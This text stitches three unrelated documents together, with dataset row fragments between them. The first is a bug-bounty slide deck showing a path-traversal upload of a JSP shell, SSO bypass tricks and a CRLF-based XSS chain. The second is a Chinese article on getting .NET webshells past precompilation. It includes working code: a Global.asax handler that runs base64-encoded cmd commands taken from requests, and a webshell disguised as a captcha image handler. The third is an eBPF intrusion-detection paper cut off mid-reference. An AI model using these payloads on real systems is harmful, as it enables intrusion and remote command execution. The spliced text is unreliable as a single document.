Finding a 0day\nIn collaboration with @infosec_au\nBug 1 + Bug 2 \nConnecting the dots, we have an \nunauthenticated API and an \narbitrary file upload\nRCE?\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBuilding a PoC\nPOST /api/content/ HTTP/1.1\nHost: re.local:8443\nUser-Agent: curl/7.64.1\nAccept: */*\nContent-Length: 1162\nContent-Type: multipart/form-data; boundary=------------------------\naadc326f7ae3eac3\nConnection: close\n--------------------------aadc326f7ae3eac3\nContent-Disposition: form-data; name=\"name\"; \nfilename=\"../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/\nhtml/js/dojo/a.jsp\"\nContent-Type: text/plain\n<%@ page import=\"java.util.*,java.io.*\"%>\n……\nJSP SHELL CODE\n</BODY></HTML>\n--------------------------aadc326f7ae3eac3--\nPath Traversal File \nUpload inside Web \nroot\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nWeb Directory not writeable\nEnumerating files/directories\n500 Error + Size 0 \n= File was written\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nWeb Directory not writeable\nEnumerating files/directories\n500 Error + “could \nnot be created” = \ndirectory does not \nexist\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nWeb Directory not writeable\nEnumerating files/directories\n500 Error + \n“denied” = \ndirectory exists \nbut no \npermissions to \nwrite files\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nWeb root directory not writeable, RIP :(\nOther solutions to achieve RCE:\n●replacing JAR files\n●replacing system files\n●adding system config via files\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nDig deeper….\nRCE not possible, we want to \nprove more impact\nSolution:\n●gadget to replace JavaScript files\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nHow to?\n● Open javascript file and look for \nETag in Headers\n● Upload file as follow:\nfilename=\"../FIRST-CHAR/SECOND-CHAR/FULL-ETAG/\nfileAsset/FILE-NAME\"\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nE-Tag \nEtag: 23f890f7-ac11-30fe-1e50-a4f446a11211\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nPoC\nPOST /api/content/ HTTP/1.1\nHost: host\nContent-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3\nContent-Length: 37406\n--------------------------aadc326f7ae3eac3\nContent-Disposition: form-data; name=\"name\"; filename=\"../2/3/23f890f7-ac22-40fe-9e50-\na5f446a66255/fileAsset/positiveImpactInternetJs.js\"\nContent-Type: text/plain\nconsole.log('hussein98d-shubs-poc');\n--------------------------aadc326f7ae3eac3--\nHacking a Bank by Finding a 0day\nIn collaboration with @infosec_au\nBack to the Bank\nResult:\nStored XSS on all hosts, ability to overwrite index file \nand others\nSSO Bypass Techniques\nShall we enter?\nNowadays most \norganizations use SSO \nfor internal panels login \nand restricted resources \nSSO Bypass Techniques\nShall we enter?\nMight be handy to:\n● Brute force directories\n● Look for weak \npasswords\n●Try to hit APIs directly \n● Fancy other vectors\nSSO Bypass Techniques\nShall we enter?\nFuzzing\nDon’t only look for directories & files, brute force parameter on \neach valid endpoint found\nTools:\nFFuF\nArjun\nParam Miner \nSSO Bypass Techniques\nShall we enter?\nFuzzing\nhttps://admin.org.com\nOkta\nhttps://admin.org.com/internal.php?\nid=1\n200 OK\nhttps://admin.org.com/blabla\n404 Not found\nhttps://admin.org.com/internal.php\n301 Redirect\nSSO Bypass Techniques\nShall we enter?\nAPIs\nhttps://admin.org.com \n200 OK then redirect to SSO\nview-source:https://admin.org.com \n<script src=/admin.js></script>\n/api/admin/users\nhttps://admin.org.com/api/admin/users\n200 OK\nSSO Bypass Techniques\nShall we enter?\nLess known \nGrab wordlist here \nhttps://gist.github.com/securifera/e7eed730cbe1ce43d0c29d7cd2d582f4\nBrute Force: \nhttps://org.com/admin/$FUZZ$ \nSSO Bypass Techniques\nShall we enter?\nLess known \nSSO Bypass Techniques\nShall we enter?\nLess known \nAttempt to access:\nhttps://org.com/admin/;.jpg\nhttps://org.com/admin/valid-file.jsp;.jpg\nSSO Bypass Techniques\nShall we enter?\nFancy other vectors\nhttps://internal.org.com\nSSO\nhttps://internal.org.com/test.js\nSSO\nhttps://internal.org.com/test.jpg\n404 Not Found\nhttps://internal.org.com/;.jpg\n200 OK\nBrute-force different extensions \nand look for how the application \nresponds\nSSO Bypass Techniques\nShall we enter?\nFancy other vectors\nhttps://internal.org.com\nSSO\n dig CNAME internal.org.com \norg.3rdparty.com\ngau –subs 3rdparty.com\nhey.3rdparty.com/authentication/register\nhttps://internal.org.com/authentication/register\n200 OK\nGather Wayback machine and \nAlienVault URLs of the CNAME \nand look for similarities\nSSO Bypass Techniques\nShall we enter?\nhttps://internal.org.com/authentication/register\nRegister → Login \nFull access to organization’s panel\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nhttps://org.com/auth/ \nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nhttps://org.com/auth/ \n● Application expects inc \nparameter \n● Hostname supplied in \nparameter has to end \nwith .org.com\n● Path of supplied parameter URL \nshould start with /includes/js-\ncdn\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nWhat do we need?\nSubdomain.org.com/includes/js-\ncdn/file.js which should contain \na XSS payload such as:\nalert();\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nSubdomain Takeover, create the \nfolders and host the JS file?\nNo luck – no takeovers\nOther possibilities?\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nsupport.org.com/%0d%0aTest:Testing \nCRLF\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nsupport.org.com/includes/js-cdn/x.js?\n%0d%0aTest:Testing \nCRLF\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nsupport.org.com/includes/js-cdn/x.js?\n%250D%250AContent-\nType:application/javascript%250D\n%250A%250D%250Aalert();\nCRLF\nSet Content-Type to JS\nWrite alert(); on first line\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nOrg.com/auth/?inc=support.org.com/\nincludes/js-cdn/x.js?%250D\n%250AContent-Type:application/\njavascript%250D%250A%250D\n%250Aalert();\nProblem:\nCORS Issues from org.com to \nsupport.org.com\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nSolution: use CRLF to allow origin\nOrg.com/auth/?inc=support.org.com/\nincludes/js-cdn/x.js?%250D\n%250AAccess-Control-Allow-Origin:\n%20https:%2F%2Forg.com%250D\n%250AContent-Type:application/\njavascript%250D%250A%250D\n%250Aalert();\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDigging Deeper\nWrap-Up\n● Find another subdomain of target \nvulnerable to CRLF\n● Use CRLF to allow origin\n● Use CRLF to set content type\n● Use CRLF to write XSS payload on \npage\nAnother XSS Level\nChaining bugs to pop an alert on a Bug Bounty Program\nDone!\nNeed a Pentest? We got you! WebImmunify.com\n! \nThank you Questions?\n@Hussein98D\nDiscovered \nvulnerabilities\nYet to be found \nvulnerabilities\nWe provide pentests! Visit WebImmunify.com\nOctober 2022"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":88,"cells":{"text":{"kind":"string","value":".NET 文件上传多个场景绕过预编译限制获取 Shell \nIvan1ee@dotNet 安全矩阵 \n[ dotNet 安全矩阵] —— 聚焦于微软.NET 安全技术，关注基于.NET\n衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET 代码审计、 \n最新的.NET 漏洞分析、反序列化漏洞研究、有趣的.NET 安全\nTrick、.NET 开源软件分享、. NET 生态等热点话题，愿你能在这里学\n到实在的干货，共同推动.NET 安全氛围卷起来。 \n配套的[ dotNet 安全矩阵]知识星球优惠活动持续进行，价格直接给\n到星球最低起步价[￥50] ，每天只需要 1 块钱不到，就可以让自己\n从.NET 小白成为高手，因为星球里的资料和教程很少在市面上广泛\n传播，价值完全划算，还可以获得阿里、蚂蚁、字节等大厂内推实习\n或社招岗位的机会，欢迎对.NET 感兴趣的小伙伴们加入我们，一起\n做一件有情有意义的事。 \n0X01 背景 \n在攻防演练的这个大背景下，红蓝对抗也逐渐真正的提升到对抗这个层次，这\n不今天由 dotNet 安全矩阵星球圈友们组成的微信群里有位群友问起如何突破\n预编译拿 webshell 有什么方法，预编译已经够麻烦了，这位师傅还非常有挑战\n的加上了不考虑跨目录的情况下怎么获取 webshell，借师傅这么有挑战的命题\n笔者系统性的介绍预编译几种不同场景下获取 shell 的手段，希望本文探讨的这\n些可行性路径以及达成目标使用的不同方法能在实战中有所帮助 \n0X02 困局 \n.NET 站点发布时提供一项预编译的能力，可以提升站点运行处理的速度以及保\n护知识版权，采用了这种预编译模式后站点下的每个.NET 文件的内容被标记为 \n\"这是预编译工具生成的标记文件，不应删除!\"，如果此时上传一个普通的 aspx\n木马，访问后提示 \"未预编译文件，因此不能请求该文件\"，如下图所示，那么\n这种场景下如何通过文件上传漏洞获取 WebShell 呢？笔者想到了以下不同场\n景下的几种变通的方法，在正式介绍方法前首先回顾下预编译的原理。 \n0X03 用法 \n.NET 下的编译方式大致可以分成两种方式，分别为动态编译和预编译。动态编译因为文件\n以源代码的形式放置于 Web 容器中，所以对于首次访问编译时需要消耗大量的资源，这\n样会严重降低 Web 应用的响应速度，另外代码内容是开放的，容易被篡改导致系统不安\n全或崩溃，从知识产权来看也不利于保护商业秘密。以上这两点动态编译的劣势也是开发\n者选择预编译的两种原因，预编译模式下将编译所有的.NET 文件，当然 HTML、图片、\ncss 等静态资源文件不包含在内，在预编译过程中编译器将创建的程序集存储于项目根目\n录下的 Bin 文件夹，另外也会同步到一个.NET 特殊的目\n录 %SystemRoot%\\Microsoft.NET\\Framework\\version\\Temporary ASP.NET Files 文件夹\n下，Bin 目录下会编译生成两类为文件，一类是扩展名为.compiled，该文件包含指向与该\n页相应的程序集名称；另一类文件是编译后的扩展名为.dll 的程序集文件。下面笔者分几\n个小节分别介绍预编译发布过程和生成的结果文件 \n3.1 编译选项 \n创建.NET MVC 项目后右击选择 发布，系统提供了文件夹、FTP、IIS、云发布等多种途\n径，笔者选择了传统的 IIS 发布，发布就绪后配置 Release 选项，打开预编译详细配置页\n面，默认情况下系统勾选了 \"允许更新预编译站点\"，这样的好处在于可以很轻松的修改代\n码，方便应急维护，但不好的方面就是不安全，未能达到保护软件知识版权的目的。如果\n不勾选“允许更新预编译站点”，项目下的所有 aspx 文件的内容都将被重写为 “这是预编译\n工具生成的标记文件，不应删除!”，而文件本身也只是个占位符。 \n除了图形化界面操作预编译之外，Visual Studio 还提供了命令行下的可执行程序\naspnet_compiler 预编译.NET 项目，具体的命令释义如下 \n名称 \n释义 \naspnet_compiler -v /Lib -p D:\\Project\\VisualStudio\\Pre\\WebForm\\test D:\\test -\nfixednames \n-v \n表示指向的虚拟地址路径 /Lib \n-p \n要编译的源 Web 项目所在文件夹、以及输出的目的文件夹 \n-fixednames \n表示每个.aspx 都编译生成单独的 dll 文件，并使用固定文件名 \n经过编译后项目文件夹中的所有.aspx, .ashx 及 App_Code 中的.cs 文件都会被编译成 DLL\n文件，静态资源文件将原封不动的复制到目的文件夹里。 \n3.2 complied 保留文件 \n.NET 每一次编译都会生成很多具有.compiled 扩展名的保留文件，这个文件本质上是一个\nXML 文件，命名格式如下，其中[page]是页面的名称，[folder-hash]是对页面所在路径的\nHash Value，这样做可保证处于同一级目录的所有保留文件具有不同的文件名。 \n例如笔者本地 MVC 项目里用到的 about.aspx 被预编译名为 \nabout.aspx.cdcab7d2.compiled，那么打开再看看里面的 XML 内容各代表什么意思，打开\n后如下 \n[page].aspx.[folder-hash].compiled \n通过 hash 和 filehash 的缓存，.NET 可以判断自上一次使用以来保留文件和它所依赖的文\n件是否被改动，如果真的被改动了将会重新编译。 \n3.3 PrecompliedApp.config \n假设按照第 3.1.1 小节的默认配置，.NET 预编译项目后会多出一个 Precompiled.config 文\n件，此文件用来控制当前站点预编译状态，内容如下最关键的是 updatable 选项，当配置\n为 false 时，整个项目为预编译不允许更新，意思就是传入.cs 文件将不能运行；只有为\ntrue 的情况下才能正常运行.cs 这样未编译的文件，另外此文件内容的更改或文件删除，均\n需要重启 IIS 才能生效，权限要求较高！ \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<preserve \nresultType=\"3\" \nvirtualPath=\"/Lib/About.aspx\" \nhash=\"b9c5efb0\" \nfilehash=\"d594de3b3c043afb\" \nflags=\"110000\" \nassembly=\"App_Web_2cqo2mgm\" \ntype=\"ASP.about_aspx\"> \n <filedeps> \n <filedep name=\"/Lib/About.aspx\" /> \n <filedep name=\"/Lib/Site.Master\" /> \n </filedeps> \n</preserve> \n<precompiledApp version=\"2\" updatable=\"true\"/> \n0X04 预编译绕过的几种场景 \n攻防对抗实战中想绕过预编译挺困难的，因为预编译本身也是微软设计出来的一套提高性\n能和安全保护的机制，笔者总结几种常见的绕过方法和一种未公开的绕过方式，但这些方\n法都不具备通用性需要结合特定的场景下去使用。 \n4.1 上传 ASP 脚本 \nIIS 作为优秀的 Web 容器，不光对.NET 支持非常好，对早前的 ASP 脚本一直也支持，但在\n笔者当前的环境 IIS10 里默认是不启用的，需要在应用程序功能配置上勾选上 ASP，这样\n在.NET 预编译模式下通过上传 ASP 木马可以 GetShell，因为 ASP 脚本\n由 %windir%\\system32\\inetsrv\\asp.dll 负责处理请求，而.NET 项目是\n由 %windir%\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_isapi.dll 负责处理，所以\n和.NET 无关。 \n4.2 上传至 Bin 目录 \nbin 这个目录包含了项目所有使用到的.Net 程序集，并且 在 Web 应用程序任意处的其他\n代码会自动引用该文件夹。典型的示例是您为自定义类编译好的代码。您可以将编译后的\n程序集复制到 Web 应用程序的 Bin 文件夹中，这样所有页都可以使用这个类。Bin 文件夹\n中的程序集无需注册。只要.dll 文件存在于 Bin 文件夹中，.NET 就可以识别它。如果您\n更改了 .dll 文件，并将它的新版本写入到了 Bin 文件夹中，则 .NET 会检测到更新，并\n对随后的新页请求使用新版本的 .dll ，笔者假定如果上传漏洞可以任意跨目录的话就可以\n将编译好的 compiled 文件和关联的 App_Web_xxxxx.dll 上传到 Bin 目录，举个栗子比如需\n要编译“D:\\Project\\test”目录下的 aspx.aspx 文件，文件内容是启动 calc， 执行下面命令生\n成 aspx.aspx.cdcab7d2.compiled 和 App_Web_4z2nrvyu.dll 两个文件，将它们上传到\nbin 目录，然后还需要把 aspx.aspx 这个占位符文件上传到站点根目录下，再访问\n/aspx.aspx 即可在进程中拉起计算器，整个过程需要分三次上传，并且涉及到跨 bin 目录\n和根目录 \naspnet_compiler -v /Lib -p D:\\Project\\test D:\\test -fixednames \n如果遇到根目录不可写的场景话，就需要改变打法，用.NET 提供的全局文件 Global.asax\n去实现 GetShell，Global.asax 这个文件是 IIS 请求和响应必进过的文件，是包含了 HTTP\n会话生命周期各个阶段状态处置的文件。 它继承自 System.Web.HttpApplication，它的作\n用是定义 .NET 应用程序中的所有应用程序对象共有的方法、属性和事件。笔者在 \nApplication_Start 和 Application_BeginRequest 两个方法内分别实现启动 winver 进程和\nmstsc 进程，如下图 \nApplication_Start() 表示在 HttpApplication 类的第一个实例被创建时，该事件被触发。它\n允许你创建可以由所有 HttpApplication 实例访问的对象，这是我们程序第一次启动的时\n候调用的方法，Application_BeginRequest() 表示在接收到一个应用程序请求时触发。对\n于一个请求来说，它是第一个被触发的事件。在预编译的模式下 Global.asax 会被编译成\nApp_global.asax.dll 、App_global.asax.compiled 两个文件，将这两个文件上传到 Bin 目\n录即可，刷新页面即可执行 DLL 里的命令。为了更加贴近实战，笔者优化代码加入从外部\n获取的数据，如下代码所示，DLL 已经放在星球工具里，请师父们自取。 \n4.3 Web.config 助力突破预编译 \n在预编译模式下唯一不编译的就是 web.config 网站配置这个文件，它不参与编译并可以随\n时对站点目录下的 Web.config 文件进行修改，而无需重新编译网站。这个点就很厉害了助\n力笔者打开潘多拉魔盒，看一看如何更好的利用好它。另外根据预编译的运行规则分析出必\n须使用编译后的 DLL 文件才能正常运行，一切未经过编译的 ASPX 源代码文件是不能运行\n的，所以有一种不能跨目录上传的场景，因为不能跨目录上传，所以编译好的 DLL 文件无\n法传至 Bin 目录下，从而不能 GetShell，笔者假定任意文件上传只能限定于固定目录下，比\n如/Lib/目录，而此时又满足对 web.config 文件的读写，这样的场景下可在编译的 DLL 里实\n现 HttpHandler。 \nprivate void Application_BeginRequest(object sender, EventArgs e) \n{ \nif \n(!string.IsNullOrEmpty(HttpContext.Current.Request[\"content\"])) \n{ \nProcess.Start(\"cmd.exe\", \"/c \" + \nEncoding.GetEncoding(\"utf-\n8\").GetString(Convert.FromBase64String(HttpContext.Current.Request[\"conten\nt\"]))); \n} \n} \n4.3.1 HttpHandler DLL \nIIS 提供的 ISAPI 是根据文件名后缀把不同的请求转交给不同的处理程序，几乎所有的.NET\n应用程序都交给 aspnet_isapi.dll 去处理了，但是 aspnet_isapi.dll 对不同的请求采取不同的\n处理方式，查看 C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config 配\n置定义如下 \n例 如 <add \npath=\"*.ashx\" \nverb=\"*\" \ntype=\"System.Web.UI.SimpleHandlerFactory\" \nvalidate=\"True\"/> 配置项中 path 属性是必选的，它的作用是指定路径可以包含单个 URL 或\n者简单的通配符字符串如 *.ashx ，表示默认任意文件名的一般处理程序 ashx 均可通过 \nSystem.Web.UI.SimpleHandlerFactory 实现 HTTP 请求和响应， 其它的属性参考下表 \n由于 System.Web.UI.SimpleHandlerFactory 继承于 IHttpHandlerFactory，所以我们如果想\n创建自定义的处置 Handlers ，就需要继承 IHttpHandler 类，笔者编写了一个基于 Handlers\n处理程序的.NET 小马，保存名称为 IsapiModules.Handler.cs ，主要实现了三个功能，一是\n生成验证码，二是创建一个 aspx 的一句话文件，三是执行 cmd 命令；生成验证码的目的是\n为了更好的隐藏自己，从 HTTP 返回的数据里输出的是一张验证码图片，代码如下 \n再在命令行下用 csc.exe 生成 IsapiModules.Handler.dll ，生成 DLL 的命令如下 \npublic void ProcessRequest(HttpContext context) \n{ \ncontext.Response.ContentType = \"image/JPEG\"; \nstring path = context.Request[\"p\"]; \nstring input = context.Request[\"c\"]; \nif (context.Request[\"a\"] == \"c\") \n{ \nthis.cmdShell(path, input); \n} \nelse if (context.Request[\"a\"] == \"w\") \n{ \nstring input2 = \"<%@ Page \nLanguage=\\\"Jscript\\\"%><%eval(Request.Item[\\\"dotnet\\\"],\\\"unsafe\\\");%>\"; \nthis.CreateFiles(path, input2); \n} \nBitmap bitmap = new Bitmap(200, 60); \nGraphics graphics = Graphics.FromImage(bitmap); \ngraphics.FillRectangle(new SolidBrush(Color.White), 0, 0, 200, 60); \nFont font = new Font(FontFamily.GenericSerif, 48f, FontStyle.Bold, \nGraphicsUnit.Pixel); \nRandom random = new Random(); \nstring text = \"ABCDEFGHIJKLMNPQRSTUVWXYZ\"; \nStringBuilder stringBuilder = new StringBuilder(); \nfor (int i = 0; i < 5; i++) \n{ \nstring text2 = text.Substring(random.Next(0, text.Length - 1), \n1); \nstringBuilder.Append(text2); \ngraphics.DrawString(text2, font, new SolidBrush(Color.Black), \n(float)(i * 38), (float)random.Next(0, 15)); \n} \nPen pen = new Pen(new SolidBrush(Color.Black), 2f); \nfor (int i = 0; i < 6; i++) \n{ \ngraphics.DrawLine(pen, new Point(random.Next(0, 199), \nrandom.Next(0, 59)), new Point(random.Next(0, 199), random.Next(0, 59))); \n} \nbitmap.Save(context.Response.OutputStream, ImageFormat.Gif); \n} \n将生成的 IsapiModules.Handler.dll 上传到当前目录 Lib 下，做到这步已经完成了 GetShell\n链路的第 1 部分，笔者已经将这个 DLL 打包好了，师傅们在星球里可以直接拿去用即可。 \n4.3.2 配置 Handler 映射 \n在站点根目录下的 Web.config 文件新增 handlers/httpHandlers 节点，由于笔者当前的环\n境是 IIS10，所以选择在<handlers>标签内添加映射关系，一切 URL 请求带 .gif 的都从 \nIsapiModules.Handler 经过，配置详情如下 \n但做到这里还不够，因为这样 IIS 只会去 bin 目录下寻找 IsapiModules.Handler.dll 文件，找\n不到就会抛出异常，可我们上传的 dll 位于 Lib 目录下，所以还需要增加一处配置，<probing \nprivatePath=\"Lib\"/> 用于探索指定目录下的程序集并自动加载，如下 \n这样配置后就可以实现具备读写根目录 web.config 文件，且上传文件不跨越目录的情况下\n完成 GetShell，演示 http://localhost/anywhere.gif?a=c&p=cmd.txt&c=ver 命令执行后将\n结果保存到 cmd.txt 文件，如图 \naspnet_compiler -v /Lib -p D:\\Project\\test D:\\test -fixednames \n<system.webServer> \n <handlers accessPolicy=\"Read, Script, Write\"> \n <add name=\"PageHandlerFactory ISAPI 2.0 32\" path=\"*.gif\" verb=\"*\" \ntype=\"IsapiModules.Handler,IsapiModules.Handler\" \npreCondition=\"integratedMode\" resourceType=\"Unspecified\"/> \n </handlers> \n</system.webServer> \n<configuration> \n <runtime> \n <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\"> \n <probing privatePath=\"Lib\"/> \n </assemblyBinding> \n </runtime> \n</configuration> \n另外还可以在 Lib 目录里同时上传 web.config 文件和 IsapiModules.Handler.dll，但可惜的\n是在子目录下的 web.config 文件里配置 <probing privatePath=\"Lib\"/> 这样的扫描探索\n选项并不生效，导致还是需要在根目录的 web.config 里配置才可以正常运行，演示地址改\n成 http://localhost/Lib/any.gif?a=c&p=cmd.txt&c=ver，将会在 Lib 目录下生成 cmd.txt \n0X05 结语 \n最后预编译还有一些方法比如利用反序列化写入 GhostWebshell，这种方法也可以绕过预编\n译的限制，但细细想来既然都可以反序列化了很多情况下可以执行系统命令或者反弹 Shell\n等方式拿下权限，所以这块内容可以归于内存马系列，后续笔者会详细再做介绍，请大伙继\n续关注文章涉及的 PDF 和 Demo 已打包发布在星球，请大伙关注 dotNet 安全矩阵公众号，\n欢迎对.NET 安全关注和关心的同学加入我们，在这里能遇到有情有义的小伙伴，大家聚在\n一起做一件有意义的事。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":89,"cells":{"text":{"kind":"string","value":"arXiv:2102.09980v3 [cs.CR] 4 Mar 2022\nA flow-based IDS using Machine Learning in eBPF\nMaximilian Bachl, Joachim Fabini, Tanja Zseby\nTechnische Universit¨at Wien\nfirstname.lastname@tuwien.ac.at\nAbstract—eBPF is a new technology which allows dynamically\nloading pieces of code into the Linux kernel. It can greatly speed\nup networking since it enables the kernel to process certain\npackets without the involvement of a userspace program. So far\neBPF has been used for simple packet filtering applications such\nas firewalls or Denial of Service protection. We show that it\nis possible to develop a flow-based network intrusion detection\nsystem based on machine learning entirely in eBPF. Our solution\nuses a decision tree and decides for each packet whether it\nis malicious or not, considering the entire previous context of\nthe network flow. We achieve a performance increase of over\n20% compared to the same solution implemented as a userspace\nprogram.\nI. INTRODUCTION\nA. eBPF\neBPF is a technology which makes the Linux kernel pro-\ngrammable by enabling the injection of pieces of code at many\nlocations of the kernel code. eBPF can be dynamically injected\nduring runtime and is verified to make sure that it cannot\ncrash and cannot get caught in infinite loops. However, this\nverification is only possible for programs that are not turing-\ncomplete. Thus eBPF programs cannot contain features such\nas loops of arbitrary length but instead loops must always\nhave a maximum number of iterations. Also, backward jumps\nin the code are generally not allowed. This means eBPF can\nonly be used to implement algorithms which do not require\nturing-completeness. eBPF programs are usually written in C\nand are first compiled to eBPF bytecode. Upon injection into\nthe kernel, this eBPF bytecode is verified and dynamically\ncompiled to native code.\neBPF is especially suitable for packet processing: When a\npacket arrives at a network interface, certain actions can be\nperformed such as dropping the packet. This is useful for\nprograms such as firewalls [1] or tcpdump, which records\npackets according to certain filters. For example, if only\npackets coming from port 80 should be recorded, tcpdump\nwill compile an eBPF program which encodes this and will\nload it into the kernel. The kernel will then drop all packets\nwhich don’t match the filter and only pass the correct ones\nto tcpdump. The alternative would be that tcpdump receives\nevery packet and filters them itself. The drawback of this is that\nthen each packet has to be passed from the kernel to tcpdump,\nwhich involves copying the whole packet in memory and also\nother computation steps. Thus, passing packets between the\nkernel and programs should be avoided if possible because of\nperformance reasons. eBPF allows one to do that.\nBecause eBPF bytecode is compiled to native code, it\nshould generally be as fast as any other code in the kernel.\nA drawback, however, is that because eBPF is verified, it\ncan only use certain data structures. For example, an eBPF\nprogram cannot use normal C arrays since they allow out-\nof-bounds accesses. For example, in an array of length 10,\nC would allow accessing the 15th element even though the\narray only has 10 elements. Thus, eBPF programs make\nuse of special data structures which are safe. However, this\ncan potentially be a performance penalty since checking the\nbounds of an array each time it is accessed requires extra work\nto be done by the CPU.\nOne alternative to using eBPF is using kernel modules.\nHowever, a drawback of kernel modules is that they usually\ncannot be verified for stability and that they have to be\ncompiled for a specific kernel version. Moreover, developing\nkernel modules is not straightforward and often it is not\npossible to extend certain functionality in the kernel with a\nkernel module without changing the kernel itself. Changing\nthe whole kernel itself makes it necessary to recompile the\nkernel, which is cumbersome.\nB. eBPF for a Machine Learning (ML)-based Intrusion De-\ntection System (IDS)\nSome researchers have already investigated eBPF based\nIDSs or thought about using ML in eBPF. [2] propose to use\nAI for detecting performance anomalies with eBPF. However,\nthey only propose a concept and do not provide an evaluation\nof the benefit of their approach. [3], [4] and also [5] use eBPF\nto develop solutions against Denial-of-Service attacks. They\ndo not use ML.\nOne challenge of using eBPF for ML is that it is not turing-\ncomplete. However, ML algorithms such as decision trees\n(DTs) or neural networks (NNs) do not require loops in the im-\nplementation and thus don’t require turing-completeness and\ncan thus be implemented in eBPF. We decide to use DTs since\ntree-based methods are a simple and effective ML method for\nIDSs [6]. As mentioned in the previous sections, eBPF data\nstructures need some additional processing compared to the\nclassic ones built into C. A question we want to answer in this\nresearch is thus the following: Is eBPF faster than a solution\nimplemented as a normal program in userspace? The userspace\nprogram has the disadvantage that all packets have to be passed\nbetween the kernel and the program which is slow. The eBPF\nprogram has the disadvantage that it makes use of potentially\nslower data structures. Thus, it is interesting to understand\nwhether in practice eBPF can be faster even for complex\nprograms which make use of data structures frequently.\nII. EVALUATION\nWe envision an approach which keeps track of each network\nflow and analyzes each packet in the context of the previous\npackets of the flow. For example, certain attacks could be\ndetected only when the fourth packet of the network flow\ncontaining the attack arrives. eBPF has built-in hash tables\nwhich allow storing information for each flow, which we use\nfor this purpose. As the key we use the classic five tuple\nof protocol type, source and destination IP and source and\ndestination port.\nAs features we use the source and destination port, the\nprotocol identifier (UDP, TCP, ICMP etc.), the packet length,\nthe time since the last packet of the flow and the direction\nof the packet (from sender to receiver or vice versa) because\nthese features have proven useful for network traffic analysis\n[6]. Additionally, we include the mean of the packet size, the\ntime since the last packet and the direction for all packets\nreceived in the flow so far. Furthermore, also the mean absolute\ndeviation is computed for these three features, since the\nstandard deviation cannot be computed due to the absence of\nadvanced arithmetic operations in eBPF such as the square root\noperation. A problem is that eBPF doesn’t allow floating point\noperations but only integers. We thus implement the decision\ntree using fixed point arithmetic using 64 bit signed integers.\nWe use 16 bits for the part after the fixed point.\nWe use the popular CIC-IDS-2017 dataset [7]. We train\nthe decision tree using scikit-learn with a maximum depth\nof 10 and a maximum number of leaves of 1000 using a\ntrain/test split of 2:1, which achieves an accuracy of 99% on\nthe testing dataset after training. This accuracy is comparable\nto the accuracy achieved in related work [8].\nTo enable reproducibility and to encourage further experi-\nmentation by other researchers, we make all the source code\nand other materials of this work publicly available 1.\nWe implement the same IDS in userspace and also in eBPF\nand use the previously trained DT. The code is completely\nequivalent except that data structures are different because,\nas mentioned previously, many normal data structures are\nnot usable in eBPF. Also, some data structures that eBPF\nhas, such as hash maps, are not available in a normal C\nuserspace program by default and thus we use a simple hash\nmap implementation from the Linux kernel for the userspace\nversion.\nWe emulate a network using Linux network name spaces.\nFor this, we have one server and one client, connected via a\nswitch and configure the links to have no delay in addition\nto the delay caused by the Linux kernel for forwarding the\npackets. Furthermore, we set the maximum link speed to be\nunlimited. The server and the client are connected using iPerf.\nSince the link speed is unlimited, iPerf will send as fast as\npossible. The maximum speed is only limited by how fast the\ncomputer can process the packets. The IDS is deployed by\nopening a raw socket on the network interface of the server. All\npackets passing through the server thus pass through the raw\n1https://github.com/CN-TU/machine-learning-in-ebpf\nsocket and are processed by the IDS. The IDS is implemented\neither as a classic userspace program or by using eBPF and run\nafter one another (not at the same time). Both implementations\nare run for 10 s. Instead of deploying the IDS on an end host,\nit can also be deployed on a router or switch, which runs a\nrecent Linux version and thus can run eBPF.\nTABLE I: Maximum number of packets each implementation\ncan process (mean and standard deviation). Results averaged\nover 10 runs each.\nUserspace\neBPF\nMean\nSD\nMean\nSD\npackets/s\n125 420\n2627\n152 274\n1201\nTable I shows that the userspace implementation inspects\nfewer packets per second (125420) than the eBPF implemen-\ntation (152274). The eBPF implementation is thus more than\n20% faster than the userspace one.\nIII. DISCUSSION\nAn interesting consideration is that for complex ML models,\nat some point the overhead from using eBPF’s special data\nstructures becomes larger than the benefit that eBPF confers.\nFor example, interesting future work would be to test whether\nrandom forests (RFs) or deep NNs can also achieve a perfor-\nmance advantage when implemented in eBPF. In this work,\nhowever, we could show that for a simple decision tree model,\neBPF provides a significant performance advantage.\nREFERENCES\n[1] F. Risso and M. Tumolo, “Towards a faster Iptables in eBPF,”\n2018.\n[2] I. Ben-Yair, P. Rogovoy, and N. Zaidenberg, “AI & eBPF based\nperformance anomaly detection system,” in SYSTOR, ACM, May\n2019.\n[3] H. M. Demoulin, I. Pedisich, N. Vasilakis, V. Liu, B. T. Loo, and\nL. T. X. Phan, “Detecting Asymmetric Application-layer 